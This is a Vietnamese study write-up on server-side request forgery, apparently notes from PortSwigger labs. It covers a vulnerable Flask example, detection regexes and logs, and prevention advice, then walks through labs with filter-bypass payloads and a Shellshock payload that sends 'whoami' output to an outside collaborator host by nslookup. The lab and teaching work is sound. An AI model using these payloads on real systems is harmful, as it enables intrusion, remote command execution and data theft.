---
# System prepended metadata

title: SSRF
tags: [PortSwigger, VCS]

---

# Server-side request forgery (SSRF)
## What is Server-side request forgery (SSRF)?
![image](https://hackmd.io/_uploads/HJU6XAzC1l.png)

>Ứng dụng Web (giỏ hàng) --> Attacker request chứa URL (`localhost`, `127.0.0.1`, `192.168.0-255.0-255`, `192.168.0-255.0-255:x`) đến Web Server --> Web Server nội bộ thực hiện request HTTP cho phép truy cập vào tài nguyên nội bộ

**Server-side request forgery (SSRF)** là một lỗ hổng bảo mật cho phép attacker giả mạo các request từ phía máy chủ. Nó xảy ra khi attacker có thể kiểm soát URL hoặc các param của request do máy chủ thực hiện cho các hệ thống nội bộ hoặc bên ngoài khác. Thông thường, các ứng dụng web cần thực hiện các yêu cầu cho các tài nguyên khác nhau như db, API hoặc các dịch vụ web khác. SSRF xảy ra khi kẻ tấn công có thể điều khiển các request này để truy cập các tài nguyên trái phép hoặc có được thông tin nhạy cảm.

## How Server-side request forgery (SSRF) works?
```python=
import requests 
from flask import Flask, request 
app = Flask(__name__) 
@app.route('/fetch') 
def fetch_url(): 
url = request.args.get('url') 
response = requests.get(url) # Vulnerable SSRF-prone request 
# Process the response and return it 
return response.text 
if __name__ == '__main__': 
app.run()
```
Trong code trên, ta có một ứng dụng Flask cung cấp một endpoint `/fetch` để truy xuất nội dung của một trang web, được chỉ định thông qua param `url`. Tuy nhiên, cách triển khai này dính lỗ hổng SSRF do thiếu xác thực và kiểm soát đầu vào.

Attacker có thể khai thác lỗ hổng này bằng cách ném URL độc hại trỏ đến các tài nguyên nội bộ hoặc nhạy cảm như `http://internal-server/api/get-sensitive-data`

Khi thực hiện request, server sẽ một cách mù quáng thực hiện request đến URL được cung cấp thông qua hàm `requests.get()` mà không xác thực hay giới hạn giá trị đầu vào

--> Từ request độc hại này có thể được xử lý thêm hoặc hiển thị ra giao diện ứng dụng, từ đó làm rò rỉ thông tin nhạy cảm

## Type of SSRF
![image](https://hackmd.io/_uploads/BJ2I2RMA1g.png)

## How to find vuln
### Black-box Testing 
- Xác định các param trong request có chứa hostname, địa chỉ IP hoặc URL đầy đủ. Với mỗi param, thay đổi giá trị của nó để trỏ đến một tài nguyên khác và quan sát phản hồi của ứng dụng.
- Nếu không có kết nối đến máy chủ, hãy theo dõi thời gian phản hồi của ứng dụng để phát hiện các hành vi bất thường.

### White-box Testing
- Review source code và xác định tất cả các request param chấp nhận URL

## Detecting SSRF
Với tư cách là SOC, sau đây là một số phương pháp để detect SSRF:
### Log Analysis
- Phân tích web server logs, application logs, và proxy logs để tìm hoạt động đáng ngờ.
- Chú ý đến các request chứa địa chỉ IP nội bộ, cổng bất thường hoặc giao thức không phổ biến.

### Network Traffic Monitoring:
- Tìm kiếm các kết nối đáng ngờ đến các dải IP nội bộ hoặc các cổng không phổ biến không nên được truy cập từ ứng dụng.
- Xác định các mẫu lưu lượng bất thường, chẳng hạn như khối lượng lớn yêu cầu đến các tài nguyên bên ngoài hoặc các yêu cầu lặp lại đến cùng một URL.

### Web Application Firewall (WAF) Logs
- Xem lại log WAF để xác định và phân tích bất kỳ cảnh báo hoặc bất thường nào liên quan đến SSRF.
- Tìm kiếm các request chứa các param hoặc URL đáng ngờ.

### Behavioral Analytics
- Tạo baseline cho hành vi bình thường cho ứng dụng.
- Quan sát các request tăng đột biến hoặc truy cập vào các tài nguyên trái phép.

### Regex to match request
- `file:\/\/` - Matches URLs sử dụng file protocol.
- `\b(?:https?|ftp):\/\/\S+` - Matches URLs bắt đầu với `http://`, `https://`, or `ftp://`.
- `\b(?:https?|ftp):\/\/(?:\d{1,3}\.){3}\d{1,3}\b` - Matches IP trong URLs.
- `^(?![A-Za-z]+:\/\/)(?:[A-Za-z]+:\/\/)?[A-Za-z0-9.-]+` - Matches URLs không có giao thức đằng trước

### A Detection Example
Dưới đây là một ví dụ về việc dùng regex để phát hiện tấn công SSRF
```
192.168.1.100 [25/May/2023:10:30:15 +0000] "GET /vulnerable?target=http://169.254.169.254/admin/ HTTP/1.1" 200 532 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
```
Phân tích sơ qua về các thành phần có trong log như sau:
- `192.168.1.100` IP gửi request
- `[25/May/2023:10:30:15 +0000]` Thời gian tạo request
- `"GET /vulnerable?target=http://169.254.169.254/admin/ HTTP/1.1"` Request GET đến endpoint `vulnerable` với param là `target` đang cố gắng vào IP nội bộ
- `200` Status code, ở đây đã trả về thành công
- `532` Size của response
- `"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"` User-agent

Từ phân tích trên ta có thể tạo ra regex như sau:
```nginx
\b(https?:\/\/169\.254\.169\.254\/.+)\b
```
Đoạn regex trên sẽ match với URL bắt đầu bằng `http://` hoặc `https://` đi kèm IP `169.254.169.254` và theo sau là param gửi request

### A Detection Example 2
Một ví dụ về việc dùng regex để phát hiện tấn công SSRF
```
192.168.1.100 [25/May/2023:10:30:15 +0000] "GET /vulnerable?target=http://169.254.169.254/admin/ HTTP/1.1" 200 532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 
192.168.1.101 [25/May/2023:10:31:22 +0000] "POST /endpoint?url=http://127.0.0.1:8080/internal-service/ HTTP/1.1" 302 218 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" 
192.168.1.102 [25/May/2023:10:32:45 +0000] "GET /data?file=ftp://attacker-site.com/malicious-file.txt HTTP/1.1" 404 193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 
192.168.1.103 [25/May/2023:10:33:58 +0000] "GET /download?url=https://example.com/confidential-data HTTP/1.1" 200 820 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 
192.168.1.104 [25/May/2023:10:35:07 +0000] "GET /report?site=http://admin-site.com/admin-panel HTTP/1.1" 500 612 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
```

Ở dưới đoạn log trên đều có request khác nhau trong đó sự khác biệt đầu tiên là method request sau đó là param request, các URL nhưng nhìn chung đều liên quan đến dấu hiệu của tấn công SSRF

```nginx
^(?=.*?(GET|POST))(?=.*?(http:\/\/|https:\/\/))(?=.*?(169\.254\.169\.254|127\.0\.0\.1|attacker-site\.com|example\.com|admin-site\.com)).*$
```

Đoạn regex trên sẽ match:
- Request method `GET` hoặc `POST`
- URL có `http://` hoặc `https://`
- Một trong các domain hoặc IP: `169.254.169.254`, `127.0.0.1`, `attacker-site.com`, `admin-site.com`

## How to prevent
1. **Input Validation và Whitelisting**: 
- Thực hiện kiểm tra và xác thực đầu vào đối với tất cả các URL hoặc param do người dùng cung cấp.
- Kiểm tra và validate input để đảm bảo chúng tuân theo định dạng và các sample
- Sử dụng whitelist để chỉ cho phép các URL hoặc domain cụ thể được xác định là an toàn nhất

2. **Secure Configuration:**
- Cấu hình WAF, router, và môi trường máy chủ để hạn chế các yêu cầu outbound không cần thiết.
- Vô hiệu hóa các giao thức hoặc service không cần thiết có thể bị khai thác qua SSRF.
- Giới hạn hoặc chặn quyền truy cập vào địa chỉ IP nội bộ và các tài nguyên nhạy cảm từ mạng bên ngoài.

3. **User Access Controls:**
- Áp dụng UAC phù hợp để đảm bảo người dùng chỉ có quyền truy cập vào tài nguyên mà họ thực sự cần.
- Triển khai các cơ chế authen và authorize để ngăn chặn việc truy cập trái phép vào các API hoặc dịch vụ nhạy cảm.

4. **URL Whitelisting/Blacklisting:**
- Luôn update các domain bên ngoài đáng tin mà ứng dụng có thể truy cập.
- Sử dụng whitelist URL để chỉ cho phép các URL hoặc domain đáng tin được truy cập.
- Cân nhắc triển khai blacklist URL để chặn các URL được biết là độc hại hoặc có rủi ro.

5. **Network-Level Protection**
- Triển khai các cơ chế bảo vệ ở network-level như WAF để phát hiện và chặn các hành vi tấn công SSRF.
- Thường xuyên giám sát lưu lượng mạng để phát hiện các request đáng ngờ hoặc dấu hiệu của tấn công SSRF.

6. **Cập nhật và vá lỗi định kỳ**

# Practice lab
## Basic SSRF against the local server
### Target Goal
Bài lab có chức năng kiểm tra tồn kho được lấy data từ hệ thống nội bộ về

Để giải bài lab, thay đổi URL để truy cập vào admin và xóa user `carlos`

### Analysis and exploit
Như mô tả, trang web có 1 tính năng check stock. Và nó hoạt động bằng cách sử dụng 1 api gọi về để lấy kết quả mà ta truy vấn:

![image](https://github.com/vanniichan/Portswigger/assets/112863484/d46f5b37-872e-4889-9d83-11a56326fd98)

Từ đây, ta có thể tận dụng SSRF gọi ngược về `localhost` để gọi vào trang admin:

![image](https://github.com/vanniichan/Portswigger/assets/112863484/7c46d639-b12a-45b9-b8d7-46c640cc755e)

Xóa user `carlos` và hoàn thành bài lab

## Basic SSRF against another back-end system
### Target Goal
Bài lab có chức năng kiểm tra tồn kho được lấy data từ hệ thống nội bộ về

Để giải bài lab, sử dụng chức năng trên để scan giải ip nội bộ `192.168.0.X` để tìm và truy cập vào admin ở port 8080 sau đó xóa user `carlos`carlos.
### Analysis and exploit
Như mô tả, trang web có 1 tính năng check stock. Và nó hoạt động bằng cách sử dụng 1 api gọi về để lấy kết quả mà ta truy vấn:

![image](https://github.com/vanniichan/Portswigger/assets/112863484/f685afb9-7ac1-4737-b7ed-8da199d077c4)

Từ đây, ta có thể tận dụng SSRF gọi ngược về `localhost` để gọi vào trang admin. Tuy nhiên lần này ta phải truy cập vào ip nội bộ của ứng dụng thay vì vào bằng `localhost`:

![image](https://github.com/vanniichan/Portswigger/assets/112863484/45b092c0-69ef-493c-a07e-985428301796)

Giải mạng sẽ nằm ở khoảng 0 -> 255. Sử dụng Intruder để xem địa chỉ nào ip nào là đúng

![image](https://github.com/vanniichan/Portswigger/assets/112863484/3461bb93-deaa-4c29-aadc-36ecb56e5108)

Vậy đường dẫn đúng là `http://192.168.0.162:8080/admin`. Truy cập và xóa `carlos` 

## Blind SSRF with out-of-band detection
### Target Goal
Bài lab sử dụng phần mềm từ bên ngoài để lấy URL từ Referer header trong request được gửi đi mỗi khi 1 trang product được load

Để giải được bài lab, gửi đi request đến server do mình kiểm soát

### Analysis and exploit
Bắt 1 request bắt kì. Referer Header ban đầu sẽ là địa chỉ trang web mà chúng ta truy cập, copy địa chỉ của BurpCollab trong BurpSuite và thay thế nó vào URL ban đầu -> Gửi request

![image](https://hackmd.io/_uploads/Bk_qQfMAyg.png)

Poll now -> kiểm tra log của BurpCollab, ta thấy có request HTTP và DNS được gửi đến -> Phần mềm đã kết nối tới địa chỉ của chúng ta trong Referer thay vì địa chỉ của ttrang web

![image](https://hackmd.io/_uploads/H1_sQzG01g.png)

Hoàn thành bài lab

## SSRF with blacklist-based input filter
### Target Goal
Bài lab có chức năng kiểm tra tồn kho được lấy data từ hệ thống nội bộ về

Để giải bài lab, thay đổi URL để truy cập vào admin và xóa user `carlos`

Dev đã deploy lên hai phần mềm anti-SSRF nhưng chưa đủ mạnh để ta có thể bypass

### Analysis and exploit
Ta tiếp tục tìm cách kết nối với localhost và truy cập admin để xóa user.

Nhưng lần này server áp blacklist filter một số chuỗi như `localhost`, `127.0.0.1`, … Thử với payload `http://localhost` và `127.0.0.1`. -> `400 Bad Request`

![image](https://hackmd.io/_uploads/Byk7IMzCyx.png)

Do kiểm soát yếu nên ta dễ dàng bypass bằng `http://127.1` -> Xuất hiện admin panel

Thử vào `http://127.1/admin` ->`400 Bad Request` → kí tự `admin` cũng bị bị filter

![image](https://hackmd.io/_uploads/BytPLMMA1e.png)

Ta bypass bằng cách obfuscate admin thành `AdMiN` hoặc `AdmIn`,…

![image](https://hackmd.io/_uploads/r1TO8fzCJl.png)

Tiếp tục bypass filter thành công -> Truy cập được vào trang admin

![image](https://hackmd.io/_uploads/BJuKIMGRyg.png)

Đổi request thành `http://127.1/AdMiN/delete?username=carlos` nhằm gửi request xóa user  -> Bài lab hoàn thành

## SSRF with filter bypass via open redirection vulnerability
### Target Goal
Bài lab có chức năng kiểm tra tồn kho được lấy data từ hệ thống nội bộ về

Để giải bài lab, thay đổi URL để truy cập vào admin tại `http://192.168.0.12:8080/admin` và xóa user `carlos`

### Analysis and exploit
![image](https://hackmd.io/_uploads/H1szdGfCyl.png)

Invalid URL mặc dù IP này tồn tại trong mạng nội bộ -> `stockAPi` không cho phép nhập trực tiếp mà theo như tên bài lab có lẽ phải thông qua 1 chức năng local có tính năng redirect

![image](https://hackmd.io/_uploads/r1C7dfzC1g.png)

Nhận ra khi bấm "Next product" sẽ có 1 request GET được gửi đi để redirect tới đường dẫn của sản phẩm tiếp theo và `stockApi` trong request checkstock cũng sẽ hay đổi theo path trong request

![image](https://hackmd.io/_uploads/BJTrOffR1l.png)

![image](https://hackmd.io/_uploads/B1KU_ff0Jl.png)

Từ đó ta biết rằng `stockaApi` sẽ lấy tham số `/product/nextProduct?path=/product?productId=3` từ request GET để truyền vào khi ta bấm Next Product -> Check stock.

Vậy nếu mình sửa tham số đó thành `/product/nextProduct?path=http://192.168.0.12:8080/admin` và truyền vào stockapi thì sao

![image](https://hackmd.io/_uploads/B1pOufGAyl.png)

Giao diện admin đã hiện ra, giờ chỉ cần thêm `/delete` vào payload để thực hiện chức năng xóa user và hoàn thành bài lab

![image](https://hackmd.io/_uploads/Hkg9uzGRyx.png)

## Blind SSRF with Shellshock exploitation
### Target Goal
Bài lab có chức năng kiểm tra tồn kho được lấy data từ hệ thống nội bộ về

Để giải bài lab, thay đổi URL để truy cập vào admin tại `http://192.168.0.12:8080/admin` và xóa user `carlos`

### Analysis and exploit
Bắt request GET tới 1 sản phẩm bất kì, đổi `Referer Heade`r thành địa chỉ `BurpCollab` cá nhân. Xác nhận bất cứ khi nào request này gửi đi, sẽ có kết nối đến `BurpCollab`.

![image](https://github.com/vanniichan/Portswigger/assets/112863484/3ec86dac-7098-4bdb-ade2-a00601cb271f)

`Collaborator Everywhere` là 1 extension đẩy các payload không có hại vào các trường header để kiểm tra xem có trường nào ping ngược lại hay không. Nếu có nó sẽ có thể xảy ra 1 lỗ hổng blind nào đó. Trong bài lab này, xuất hiện một số pingback đến collaborator, trong đó có connection từ `Referer` và `User-Agent`. Có vẻ ngoài việc lấy URL từ `Referer`, phần mềm bên ngoài còn sử dụng cả `User-Agent`. Do đó sẽ tạo ra thêm 1 pingback connection

![image](https://github.com/vanniichan/Portswigger/assets/112863484/bda7e600-fe53-4a7b-a497-f4cedeab1e76)

Sử dụng payload của shellshock `() { :; }; /usr/bin/nslookup $(whoami).7qyvk4vrf3a4twh17fc1erxvsmydm4at.oastify.com` để chèn vào `User-Agent`. Khi chạy, payload sẽ chạy lệnh nslookup tới địa chỉ được chỉ định kèm theo kết quả của lệnh whoami.

> Payload trên là shellshock, lỗ hổng nằm ở cách Bash xử lý các biến môi trường. Cụ thể, Bash cho phép user định nghĩa các hàm trong biến môi trường, nhưng do lỗi trong quá trình phân tích cú pháp (parsing), attacker có thể chèn command độc sau định nghĩa hàm. Khi Bash xử lý biến môi trường này, nó không chỉ thực thi hàm mà còn thực thi các lệnh bổ sung đi kèm, dẫn đến RCE
> 
![image](https://github.com/vanniichan/Portswigger/assets/112863484/3c2e3f3a-94db-4d05-8953-3f748496ea5c)

`Burp Collabor` không trả về cái gì. Lý do là vì nó không nằm ở `192.168.0.1` 

![image](https://github.com/vanniichan/Portswigger/assets/112863484/a3050721-7e79-410a-87af-21e390908ee9)

Đồng thời kết hợp Brute-force địa chỉ ip và ta đã nhận được respond

![image](https://github.com/vanniichan/Portswigger/assets/112863484/69d28e84-59d0-494e-a56a-a145cafcaa98)

## SSRF with whitelist-based input filter
### Target Goal
Bài lab có chức năng kiểm tra tồn kho được lấy data từ hệ thống nội bộ về

Để giải bài lab, thay đổi URL để truy cập vào admin tại `http://192.168.0.12:8080/admin` và xóa user `carlos`
### Analysis and exploit
Vào 1 sản phẩm bất kì, bắt request checkstock bằng BurpSuite

![image](https://hackmd.io/_uploads/r1HrCdMRyl.png)

Lần này, `stockApi` vẫn được sử dụng , mình thử đổi `stockApi=http://127.0.0.1/` (địa chỉ localhost)

![image](https://hackmd.io/_uploads/SJPL0dGCJl.png)

Từ response trả về có thể hiểu về cơ chế whitelist của trang web đó là request checkstock khi gửi `stockApi` về server phải chứa host `stock.weliketoshop.net`

 Khi đổi `stockapi=http://stock.weliketoshop.net` -> Response thay đổi
 
 ![image](https://hackmd.io/_uploads/SkIu0OzAke.png)

`"Could not connect"` -> có lẽ đường dẫn của chúng ta vẫn thiếu gì đó. Sau khi đọc thêm về cách bypass white-list filters [ở đây](https://portswigger.net/web-security/ssrf#ssrf-with-whitelist-based-input-filters), địa chỉ mà chúng ta đang muốn kết nối đến là `127.0.0.1` và còn có thể gọi là localhost . Dựa vào đây, ta có thể tạo ra payload đến localhost mà vẫn chứa `stock.weliketoshop.net`

->  `stockApi=http://localhost@stock.weliketoshop.net`

Nhưng chưa đủ, chúng ta thêm kí tự fragment `#` vào phía trước `@` nhằm lợi dụng lỗ hổng trong URL parser 

![image](https://hackmd.io/_uploads/BkayyKGCJl.png)

Có thể hiểu các hàm được sử dụng để truy xuất dữ liệu và trả dữ liệu về trang web thông qua phân tích URL (như cURL, PHP parse_url) không đồng nhất với hàm được sử dụng để thực hiện whitelist filter

![image](https://hackmd.io/_uploads/SkrlJYGAyl.png)

Vẫn chưa thành công  -> Thực hiện Double URL encode `#` thành `%2523` nhằm bypass biện pháp kiểm soát input (như decode user input). Do thiếu cơ chế kiểm tra data bị mã hóa nên server sẽ decode và thực hiện payload của chúng ta như bình thường

![image](https://hackmd.io/_uploads/HktG1YM0ye.png)

![image](https://hackmd.io/_uploads/H10fJYzR1g.png)

Thêm đường dẫn `/delete?username=carlos` để thực hiện chức ăng xóa user carlos

![image](https://hackmd.io/_uploads/BkrVktfRke.png)


